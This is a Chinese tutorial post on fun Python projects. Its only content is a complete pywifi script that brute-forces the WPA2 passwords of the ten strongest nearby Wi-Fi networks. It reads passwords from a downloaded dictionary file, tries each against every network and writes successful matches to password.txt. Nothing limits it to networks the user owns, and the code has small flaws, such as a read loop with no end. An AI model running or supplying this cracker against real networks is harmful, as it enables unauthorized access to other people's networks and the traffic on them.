項目-用Python做一些有趣的事情

一、破解wifi密碼

pywifi模塊簡介
pywifi模塊簡介2
字典表下載博客

#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
使用暴力破解法破解wifi密碼
需要從網上下載wifi密碼字典
可行性並不高
"""

import time
# 破解wifi庫 
import pywifi
from pywifi import const


class PoJie(object):

    def __init__(self, path):
        # wifi密碼字典文件
        self.file = open(path, 'r', errors='ignore')
        # 抓取網卡接口
        wifi = pywifi.PyWiFi()
        # 抓取第一個網卡
        self.iface = wifi.interfaces()[0]
        # 測試連接時斷開所有的鏈接
        self.iface.disconnect()
        time.sleep(1)
        self.alist = self.initialssidnamelist()
        # 測試是否處於斷開狀態
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def bies(self):
        # 掃描
        self.iface.scan()
        # 獲取掃描結果
        bessis = self.iface.scan_results()
        alist = []
        for data in bessis:
            alist.append((data.ssid, data.signal))
        # 按信號強度排序
        return len(alist), sorted(alist, key=lambda st: st[1], reverse=True)

    def getsignal(self):
        while True:
            # 獲取所有的wifi
            n, data = self.bies()
            time.sleep(1)
            if n is not 0:
                # 如果數量不為0，返回前10個信號最好的
                return data[0:10]

    def initialssidnamelist(self):
        ssidlist = self.getsignal()
        namelist = []
        # 獲取前10個wifi的名稱
        for item in ssidlist:
            namelist.append(item[0])
        return namelist

    def readPassword(self, ssidname, myStr):
        # 測試wifi名和密碼是否匹配
        bool1 = self.test_connect(myStr, ssidname)
        if len(myStr) < 8:
            return False
        if bool1:
            # 保存密碼和wifi名到文件中
            save_password_to_file(myStr, ssidname)
            print('------------------------------------------------密碼正確: ' + myStr + '-----' + ssidname)
            return True
        else:
            print('密碼錯誤: ' + myStr + ' ' + ssidname)
            return False

    def test_connect(self, findStr, ssidname):
        """
        測試連接
        :param findStr: 密碼
        :param ssidname: wifi名
        """
        # 創建wifi鏈接文件
        profile = pywifi.Profile()
        #  wifi名稱
        profile.ssid = ssidname
        # 開放網卡
        profile.auth = const.AUTH_ALG_OPEN
        # wifi加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 加密單元
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 密碼
        profile.key = findStr
        # 刪除所有的wifi文件
        self.iface.remove_all_network_profiles()
        # 設置新的鏈接文件
        tmp_profile = self.iface.add_network_profile(profile)
        # 連接
        self.iface.connect(tmp_profile)
        time.sleep(2)
        # 判斷是否已經連接上
        if self.iface.status() == const.IFACE_CONNECTED:
            isOk = True
        else:
            isOk = False
        self.iface.disconnect()
        time.sleep(1)
        # 檢查斷開狀態
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

        return isOk

    def run(self):
        while True:
            myStr = self.file.readline()
            for ssidname in self.alist:
                ret = self.readPassword(ssidname, myStr)
                if ret:
                    raise FileExistsError

    def __del__(self):
        self.file.close()


def save_password_to_file(myStr, ssidname):
    with open('password.txt', 'a') as fp:
        fp.write(str(myStr) + '-->' + str(ssidname))


if __name__ == '__main__':
    # 密碼字典文件所在路徑
    path = 'E:\WIFImmzidianbao\WIFI955M.txt'
    start = PoJie(path)
    start.run()